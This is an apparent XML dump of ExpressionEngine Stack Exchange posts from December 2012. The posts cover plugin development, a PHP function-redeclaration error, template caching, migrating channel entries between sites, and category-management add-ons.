  <row Id="915" PostTypeId="2" ParentId="107" CreationDate="2012-12-01T22:59:57.230" Score="1" Body="&lt;p&gt;You can also take a look in the EE source code or a module like Playa to see how they are doing it...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apart from having a separate adding a tag to your module, you can manually search and parse those tags yourself. If you check the sourcecode for the channel module, you can find the following snippet of code used for the categories tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (strpos($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata, LD.'/categories'.RD) !== FALSE)&#xA;{&#xA;  if (preg_match_all(&quot;/&quot;.LD.&quot;categories(.*?)&quot;.RD.&quot;(.*?)&quot;.LD.'\/'.'categories'.RD.&quot;/s&quot;, $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata, $matches))&#xA;  {&#xA;    for ($j = 0; $j &amp;lt; count($matches[0]); $j++)&#xA;    {&#xA;      $cat_chunk[] = array($matches[2][$j], $this-&amp;gt;EE-&amp;gt;functions-&amp;gt;assign_parameters($matches[1][$j]), $matches[0][$j]);&#xA;    }&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Instead of assigning the result to &lt;code&gt;$cat_chunk&lt;/code&gt; you can do you own parsing and replacement of that tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This does however add a lot of extra code because you wouldn't be able to use the &lt;code&gt;$this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables&lt;/code&gt; method anymore since you will have to parse everything manually (not just the var_pairs).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//  Parse single variables&#xA;foreach ($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;var_single as $key =&amp;gt; $val)&#xA;{&#xA;  $value = isset($data[$key]) ? isset($data[$key]) : '';&#xA;  $tagdata = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;swap_var_single($key, $data[$key], $tagdata);&#xA;}&#xA;&#xA;//  Parse variable pairs&#xA;foreach ($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;var_pairs as $key =&amp;gt; $val)&#xA;{&#xA;  //  parse categories&#xA;  if (strpos($key, 'your_var_pair') !== FALSE)&#xA;  {&#xA;    // do something with the tag pair&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this case the &lt;code&gt;$val&lt;/code&gt; variable should hold your custom parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said... the question you should be asking: &quot;Is it all worth the trouble?&quot;. Will people (or you) ever use those parameters, because it does add a lot of overhead in the code. There are other tags you will need to parse manually like &lt;code&gt;{switch=''}&lt;/code&gt;, &lt;code&gt;{count}&lt;/code&gt; and &lt;code&gt;{total_results}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My answer got a bit longer than I intended, but it &lt;strong&gt;IS&lt;/strong&gt; a complex matter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;– Wouter&lt;/p&gt;&#xA;" OwnerUserId="76" LastActivityDate="2012-12-01T22:59:57.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="916" PostTypeId="2" ParentId="914" CreationDate="2012-12-01T23:11:44.840" Score="7" Body="&lt;p&gt;If performance is only a problem when the site gets hit by a lot of traffic, you might want to turn on caching for that particular tag (I'm not really a fan of full page caching). That is what it is meant for...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries cache='yes' refresh='60' ...}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Might I ask why you have at all? You shouldn't need it since you are not nesting the same tags... if it is because you use this snippet in multiple places, might I suggest using a snippet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;– Wouter&lt;/p&gt;&#xA;" OwnerUserId="76" LastEditorUserId="76" LastEditDate="2012-12-01T23:23:29.343" LastActivityDate="2012-12-01T23:23:29.343" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="917" PostTypeId="5" CreationDate="2012-12-02T00:09:34.070" Score="0" Body="&lt;p&gt;A commercial add-on for creating [multiple] relationships between Channel entries. Developed by &lt;a href=&quot;http://pixelandtonic.com/playa&quot; rel=&quot;nofollow&quot;&gt;Pixel and Tonic&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="411" LastEditorUserId="411" LastEditDate="2012-12-03T16:41:05.493" LastActivityDate="2012-12-03T16:41:05.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="918" PostTypeId="4" CreationDate="2012-12-02T00:09:34.070" Score="0" Body="A commercial add-on for creating relationships." OwnerUserId="411" LastEditorUserId="411" LastEditDate="2012-12-03T16:41:00.377" LastActivityDate="2012-12-03T16:41:00.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="919" PostTypeId="5" CreationDate="2012-12-02T00:11:42.493" Score="0" Body="&lt;p&gt;A free/commercial add-on for creating simple and complex forms. Developed by &lt;a href=&quot;http://www.solspace.com/software/detail/freeform/&quot; rel=&quot;nofollow&quot;&gt;Solspace&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="411" LastEditorUserId="411" LastEditDate="2012-12-03T16:41:33.730" LastActivityDate="2012-12-03T16:41:33.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="920" PostTypeId="4" CreationDate="2012-12-02T00:11:42.493" Score="0" Body="A free/commercial add-on for creating forms." OwnerUserId="411" LastEditorUserId="411" LastEditDate="2012-12-03T16:41:19.300" LastActivityDate="2012-12-03T16:41:19.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="921" PostTypeId="2" ParentId="903" CreationDate="2012-12-02T01:07:04.810" Score="1" Body="&lt;p&gt;Also you're a few versions behind the most recent build. It certainly wouldn't hurt to upgrade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But clearing your cache and trying another browser is also a great idea. I'd try that first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Refreshing your files with an update is one way of making sure there is no file corruption.&lt;/p&gt;&#xA;" OwnerUserId="484" LastActivityDate="2012-12-02T01:07:04.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="922" PostTypeId="1" AcceptedAnswerId="929" CreationDate="2012-12-02T01:19:09.023" Score="2" ViewCount="1035" Body="&lt;p&gt;I'm writing my first plugin in attempt to learn more about the backend of EE and Codeigniter. My PHP is enough to get by, but I'm no expert.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This plugin is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');&#xA;&#xA;$plugin_info = array(&#xA;    'pi_name'       =&amp;gt; 'YouTube ID from URL',&#xA;    'pi_version'        =&amp;gt; '0.1',&#xA;    'pi_author'     =&amp;gt; 'Dan Grebb',&#xA;    'pi_author_url'     =&amp;gt; 'http://dgrebb.com/',&#xA;    'pi_description'    =&amp;gt; 'Returns a YouTube ID from a variety of youtube share link types.'&#xA;);&#xA;&#xA;class Youtube_id_from_url {&#xA;&#xA;    public $return_data = &quot;&quot;;&#xA;&#xA;    public function __construct($urltag = NULL)&#xA;    {&#xA;        $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;&#xA;        if (empty($urltag))&#xA;        {&#xA;            $urltag = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata;&#xA;        }&#xA;&#xA;        function sliceurl($url) {&#xA;            $pattern = &#xA;                '%^# Match any youtube URL&#xA;                (?:https?://)?  # Optional scheme. Either http or https&#xA;                (?:www\.)?      # Optional www subdomain&#xA;                (?:             # Group host alternatives&#xA;                  youtu\.be/    # Either youtu.be,&#xA;                | youtube\.com  # or youtube.com&#xA;                  (?:           # Group path alternatives&#xA;                    /embed/     # Either /embed/&#xA;                  | /v/         # or /v/&#xA;                  | /watch\?v=  # or /watch\?v=&#xA;                  )             # End path alternatives.&#xA;                )               # End host alternatives.&#xA;                ([\w-]{10,12})  # Allow 10-12 for 11 char youtube id.&#xA;                $%x'&#xA;                ;&#xA;            $result = preg_match($pattern, $url, $matches);&#xA;            if (false !== $result) {&#xA;                return $matches[1];&#xA;            }&#xA;            return false;&#xA;        }&#xA;&#xA;        $youtubeid = sliceurl($urltag);&#xA;&#xA;        $this-&amp;gt;return_data = $youtubeid;&#xA;    }&#xA;}&#xA;&#xA;/* End of file pi.plugin_name.php */&#xA;/* Location: ./system/expressionengine/third_party/plugin_name/pi.plugin_name.php */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I have this template code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;video-gallery&quot;}&#xA;    {exp:query sql=&quot;SELECT cat_id FROM exp_categories WHERE cat_url_title = '{segment_2}'&quot;}&#xA;        {exp:channel:entries&#xA;            channel=&quot;videos&quot;&#xA;            disable=&quot;category_fields|member_data|pagination|trackbacks&quot;&#xA;            dynamic=&quot;no&quot;&#xA;            category=&quot;{cat_id}&quot;&#xA;        }&#xA;            &amp;lt;div class = &quot;video_El even {switch='|last'}&quot;&amp;gt;&#xA;                {exp:youtube_id_from_url}{video-url}{/exp:youtube_id_from_url}&#xA;                &amp;lt;h3&amp;gt;{title}&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        {/exp:channel:entries}&#xA;    {/exp:query}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The error message is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Cannot redeclare sliceurl() (previously declared in /local.dev/system/expressionengine/third_party/youtube_id_from_url/pi.youtube_id‌​_from_url.php:24) in /local.dev/system/expressionengine/third_party/youtube_id_from_url/pi.youtube_id‌​_from_url.php on line 24&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I really appreciate any help I can get. Thanks to all for such a great community!&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="150" LastEditDate="2012-12-03T05:30:01.053" LastActivityDate="2012-12-03T05:30:01.053" Title="Plugin help; Cannot redeclare fatal error" Tags="|php|add-on-development|plugin|codeigniter|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="923" PostTypeId="2" ParentId="914" CreationDate="2012-12-02T01:23:26.423" Score="1" Body="&lt;p&gt;There's also a few other, more effective ways to cache code chunks like that such as CE Cache or Template Morsels.&lt;/p&gt;&#xA;" OwnerUserId="507" LastActivityDate="2012-12-02T01:23:26.423" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="924" PostTypeId="1" AcceptedAnswerId="936" CreationDate="2012-12-02T01:40:50.680" Score="9" ViewCount="3116" Body="&lt;p&gt;Are there any add-ons (or tricks) that allow the exporting/importing of channel entries between EE installs? I know there are a couple options for exporting/importing channel settings and fields, but what about the data?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe using a pair of add-on to export/import XML/JSON is the best choice? Any success here?&lt;/p&gt;&#xA;" OwnerUserId="17" LastEditorUserId="17" LastEditDate="2012-12-02T01:56:23.927" LastActivityDate="2012-12-02T10:17:58.793" Title="How to export/import channel entries between EE sites" Tags="|import|export|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="925" PostTypeId="2" ParentId="875" CreationDate="2012-12-02T01:50:41.910" Score="3" Body="&lt;p&gt;It looks like you've answered your own question&amp;mdash;and the answer is no, not without custom SQL / PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/category_archive.html#sort&quot; rel=&quot;nofollow noreferrer&quot;&gt;EE documentation for the exp:channel:category_archive tag&lt;/a&gt; there is no attribute to sort the &lt;em&gt;returned entries&lt;/em&gt;&amp;mdash;you're only able to sort the categories. And, as you state in your question, &lt;a href=&quot;https://getsatisfaction.com/low/topics/category_archives_wont_reorder&quot; rel=&quot;nofollow noreferrer&quot;&gt;official support for Low Reorder add-on&lt;/a&gt; (and now, &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/875/is-it-possible-to-output-expchannelcategory-archive-listings-to-match-the-low#comment1084_875&quot;&gt;Low's comment to your question&lt;/a&gt;) indicates that sorting is not possible without custom scripting. So unless you want to rephrase your question to ask for the custom SQL / PHP to accomplish your sorted category archive, the answer is, simply, &quot;No.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;That said&lt;/em&gt;, I believe that this would accomplish the same function, utilizing the {exp:channel:categories} tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories}&#xA;    &amp;lt;h1&amp;gt;Category: {category_name}&amp;lt;/h1&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;    {exp:channel:entries category='{category_id}' orderby='low_reorder_field'}&#xA;        &amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA;    {/exp:channel:entries}&#xA;    &amp;lt;/ul&amp;gt;&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would guess that this method would be much less efficient than utilizing the {exp:channel:category_archive} tag (and it runs contrary to your stated desire to avoid adding multiple channel entries tags), but technically it would accomplish what you're after.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, at the risk of making this sound like &lt;em&gt;every single other answer on this site&lt;/em&gt;, I suppose you could also get creative with &lt;a href=&quot;https://github.com/croxton/Stash&quot; rel=&quot;nofollow noreferrer&quot;&gt;Stash&lt;/a&gt; to accomplish this more efficiently without getting your hands dirty with custom SQL / PHP.&lt;/p&gt;&#xA;" OwnerUserId="445" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2012-12-02T01:50:41.910" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="926" PostTypeId="2" ParentId="924" CreationDate="2012-12-02T01:53:19.940" Score="4" Body="&lt;p&gt;I recently had the task of bringing over a thousand or so entries into a complete redesign. It was a lot of writing custom queries for MySQL, exporting them out as either CSV or XML (we needed to keep some HTML in entries with a WYSIWYG field type), then using &lt;a href=&quot;http://brandnewbox.co.uk/products/details/datagrab&quot; rel=&quot;nofollow&quot;&gt;Datagrab&lt;/a&gt; to import everything into the new site&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2012-12-02T01:53:19.940" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="927" PostTypeId="2" ParentId="924" CreationDate="2012-12-02T01:56:27.113" Score="2" Body="&lt;p&gt;I recently used Solspace's Importer add-on as part of my upgrade from EE 1 to EE 2 in order to bring over my EE 1 Galleries. For the exporting, I setup a template formatted to output each entry as a csv entry. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It took a good deal of trial and error to make sure all the elements were being both exported and imported correctly, but its definitely a viable approach. This included handling Tags, though I don't believe the Importer handles any data stored outside of EE's standard tables.&lt;/p&gt;&#xA;" OwnerUserId="352" LastActivityDate="2012-12-02T01:56:27.113" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="928" PostTypeId="2" ParentId="922" CreationDate="2012-12-02T02:10:50.827" Score="2" Body="&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ah, heh. Yes. What @AdrianMacneil &lt;a href=&quot;https://expressionengine.stackexchange.com/a/929/445&quot;&gt;says above&lt;/a&gt;. Didn't see the forest for the trees on that one.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I've tested your plugin locally, and the only error I'm seeing is on line 43, where you're only testing for the preg_replace to return false on error, where you should also be looking for it to return &quot;0&quot; for no matches:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( $return !== FALSE &amp;amp;&amp;amp; $return !== 0 ) {&#xA;    return $matches[1];&#xA;}&#xA;return FALSE;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, based upon your comment above, it doesn't look like the actual plugin file is the problem. I'd recommend that when you test add-ons that you're developing, that you make the test as simple as possible (as opposed to testing it while it's wrapped within 3 other tags).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding the error you're seeing (the redeclaration of the sliceurl() function)&amp;mdash;are you using another plugin that also declares this function? To get around this for the present, you could wrap the sliceurl() declaration like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ! function_exists('sliceurl') ) {&#xA;    function sliceurl($url) {&#xA;         ...&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="445" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2012-12-02T02:26:43.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="929" PostTypeId="2" ParentId="922" CreationDate="2012-12-02T02:10:54.873" Score="8" Body="&lt;p&gt;You shouldn't be declaring functions inside your &lt;code&gt;__construct()&lt;/code&gt; method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Move &lt;code&gt;sliceurl&lt;/code&gt; a bit further down, and call it using &lt;code&gt;$this-&amp;gt;sliceurl&lt;/code&gt; (since it's part of your class):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Youtube_id_from_url {&#xA;&#xA;    public $return_data = &quot;&quot;;&#xA;&#xA;    public function __construct($urltag = NULL)&#xA;    {&#xA;        $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;&#xA;        if (empty($urltag))&#xA;        {&#xA;            $urltag = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata;&#xA;        }&#xA;&#xA;        $youtubeid = $this-&amp;gt;sliceurl($urltag);&#xA;&#xA;        $this-&amp;gt;return_data = $youtubeid;&#xA;    }&#xA;&#xA;    function sliceurl($url) {&#xA;        // etc&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2012-12-02T02:10:54.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="930" PostTypeId="1" AcceptedAnswerId="1759" CreationDate="2012-12-02T02:21:07.027" Score="6" ViewCount="239" Body="&lt;p&gt;I have a channel that will require lots of editing (adding and selecting) of many categories and want to make this as simple a process as possible for the client. I also need to require that only one category can be selected at a time (unlike the multiple on the Categories tab).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a decent fieldtype add-on that allows for managing categories, not just selecting them?&lt;/p&gt;&#xA;" OwnerUserId="436" LastActivityDate="2012-12-17T20:08:08.680" Title="Are there any good add-ons for managing categories on the publish screen?" Tags="|add-on|categories|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="931" PostTypeId="2" ParentId="930" CreationDate="2012-12-02T04:51:37.627" Score="4" Body="&lt;p&gt;You can try my Category Field addon which should do exactly what your looking for: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This field type allows you organize your category groups as you would any other custom field type anywhere on your publish entries form. Additionally a filtered input is provided for long category lists.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/category-field&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/category-field&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="83" LastEditorUserId="22" LastEditDate="2012-12-03T08:36:07.427" LastActivityDate="2012-12-03T08:36:07.427" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="932" PostTypeId="2" ParentId="850" CreationDate="2012-12-02T05:28:54.183" Score="1" Body="&lt;p&gt;Some important points to keep in mind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ellislab doesn't support server configurations (rewrites in the case.) They don't have the expertise for this. While they do have a preferred rewrite scheme that they will support, the more your situation deviates from that simple scenario, the less likely they will be able to support you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the introduction of the Multi Site Manager, this is the supported method for running multiple sites. If you aren't using MSM, then you may need to pick that up for your setup to be supported by Ellislab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rewrites can be tricky and there are many ways to do them. If your rewrite scheme is working, then you are doing it right. I would also suggest that you stick with one .htaccess file per site as you are currently doing. This will reduce the likelihood (less complex.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question is also good for &lt;a href=&quot;https://serverfault.com/&quot;&gt;https://serverfault.com/&lt;/a&gt; as Apache rewrites aren't CMS specific.&lt;/p&gt;&#xA;" OwnerUserId="274" LastEditorUserId="-1" LastEditDate="2017-04-13T12:14:55.020" LastActivityDate="2012-12-02T05:40:14.393" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="933" PostTypeId="2" ParentId="454" CreationDate="2012-12-02T05:31:23.180" Score="5" Body="&lt;p&gt;FWIW, I wrote a blog post (and made a video) on the topic relatively recently. The resources already mentioned are really great, but perhaps my write-up will help too. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://matthewfordham.com/blog/deploying-expressionengine&quot;&gt;http://matthewfordham.com/blog/deploying-expressionengine&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17" LastActivityDate="2012-12-02T05:31:23.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="934" PostTypeId="2" ParentId="930" CreationDate="2012-12-02T05:52:20.713" Score="1" Body="&lt;p&gt;The Category Field add-on mentioned by Nuno looks like it may cover it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Solspace Primary Category add-on provides another option for managing category selection, though likely not as in-depth as you are looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/primary-category&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/primary-category&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes I also use Tags as an alternative for categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.solspace.com/software/detail/tag/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/software/detail/tag/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.devdemon.com/tagger/&quot; rel=&quot;nofollow&quot;&gt;http://www.devdemon.com/tagger/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="274" LastActivityDate="2012-12-02T05:52:20.713" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="935" PostTypeId="2" ParentId="930" CreationDate="2012-12-02T06:24:09.330" Score="3" Body="&lt;p&gt;This fieldtype is often overlooked, but I find for single-category entries, Lonely Cat by Wouter Vervloet to be amazingly simple and effective.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/lonely-cat&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/lonely-cat&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The advantage of Lonely Cat is in its ability to be instantly grasped by the user, and in the fact that it selects only one category at a time, though it can be configured to also select all parents of that category, as well.&lt;/p&gt;&#xA;" OwnerUserId="34" LastActivityDate="2012-12-02T06:24:09.330" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="936" PostTypeId="2" ParentId="924" CreationDate="2012-12-02T06:28:03.217" Score="10" Body="&lt;p&gt;The way I generally go about it is to create one RSS template per channel exporting the entries I want with all their custom fields (remember to specify a hight limit parameter if you have more than 100 entries). I then use &lt;a href=&quot;http://brandnewbox.co.uk/products/details/datagrab&quot;&gt;DataGrab&lt;/a&gt; and point to that template to import these entries into my new site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might have small MySQL tasks to perform after that, like mapping the old upload locations to the new ones, etc but the import process is quite smooth.&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="104" LastEditDate="2012-12-02T10:17:58.793" LastActivityDate="2012-12-02T10:17:58.793" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="937" PostTypeId="2" ParentId="914" CreationDate="2012-12-02T06:38:50.590" Score="1" Body="&lt;p&gt;The easiest thing to do in this case I would recommend simply turning on caching for the embed templates. You will need to specify how long cached versions of the embeds should be saved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also make sure on my &lt;a href=&quot;http://devot-ee.com/add-ons/cachecracker&quot; rel=&quot;nofollow&quot;&gt;CacheCracker&lt;/a&gt; add-on to help manage and expire the cached template's data automatically when publishing new entries in the associated channels.&lt;/p&gt;&#xA;" OwnerUserId="131" LastActivityDate="2012-12-02T06:38:50.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="938" PostTypeId="2" ParentId="903" CreationDate="2012-12-02T06:52:12.010" Score="1" Body="&lt;p&gt;I have run into this several times, doing all three of these usually clears up the issue:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Clear cache&lt;/li&gt;&#xA;&lt;li&gt;Clear all cookies&lt;/li&gt;&#xA;&lt;li&gt;Close all browser windows and re-open&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If this does not solve the issue then you probably have a bad redirect in your .htaccess file, and/or a bad path set in your config.php file.&lt;/p&gt;&#xA;" OwnerUserId="131" LastActivityDate="2012-12-02T06:52:12.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="939" PostTypeId="2" ParentId="888" CreationDate="2012-12-02T13:14:17.343" Score="1" Body="&lt;p&gt;To populate a new install with dummy content you can use &lt;a href=&quot;http://squarebit.co.uk/seed&quot; rel=&quot;nofollow&quot;&gt;http://squarebit.co.uk/seed&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2012-12-02T13:14:17.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="940" PostTypeId="5" CreationDate="2012-12-02T13:22:32.760" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2012-12-02T13:22:32.760" LastActivityDate="2012-12-02T13:22:32.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="941" PostTypeId="4" CreationDate="2012-12-02T13:22:32.760" Score="0" Body="Custom-fields is what make EE tick. In a blog or news website analogy, besides an excerpt or body field, entries can have all kinds of custom-fields, from date type fields to google-maps." OwnerUserId="155" LastEditorUserId="155" LastEditDate="2012-12-03T16:41:16.133" LastActivityDate="2012-12-03T16:41:16.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="942" PostTypeId="5" CreationDate="2012-12-02T14:35:03.693" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot; rel=&quot;nofollow&quot;&gt;Source on GitHub&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="199" LastEditorUserId="199" LastEditDate="2012-12-03T16:42:03.933" LastActivityDate="2012-12-03T16:42:03.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="943" PostTypeId="4" CreationDate="2012-12-02T14:35:03.693" Score="0" Body="These questions are centered around the multi-environment config setup crafted by Focus Lab, LLC." OwnerUserId="199" LastEditorUserId="199" LastEditDate="2012-12-03T16:41:38.067" LastActivityDate="2012-12-03T16:41:38.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="944" PostTypeId="5" CreationDate="2012-12-02T14:36:50.310" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2012-12-02T14:36:50.310" LastActivityDate="2012-12-02T14:36:50.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="945" PostTypeId="4" CreationDate="2012-12-02T14:36:50.310" Score="0" Body="Questions centered around building custom add-ons for ExpressionEngine" OwnerUserId="199" LastEditorUserId="199" LastEditDate="2012-12-03T16:41:30.267" LastActivityDate="2012-12-03T16:41:30.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="946" PostTypeId="1" AcceptedAnswerId="948" CreationDate="2012-12-02T19:26:53.390" Score="3" ViewCount="307" Body="&lt;p&gt;This is a fairly straight forward question... Does preload_replace not work in stash:embed templates?  In my embed templates, I tend to set a bunch of preload replace variables for things like channel name and custom field prefix so that if i ever have to change something, one change in the first couple of lines runs through the template and replaces al such instances.  But when i try that in a stash:embed template, the preload replace items just render as plain text in the template.  Is there a way to get them to work, or is this simply an unavoidable parse order issue?&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="268" LastEditDate="2012-12-03T09:36:06.317" LastActivityDate="2012-12-03T09:36:06.317" Title="Does preload_replace not work in stash:embed templates?" Tags="|add-on|stash|parse-order|preload-replace|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
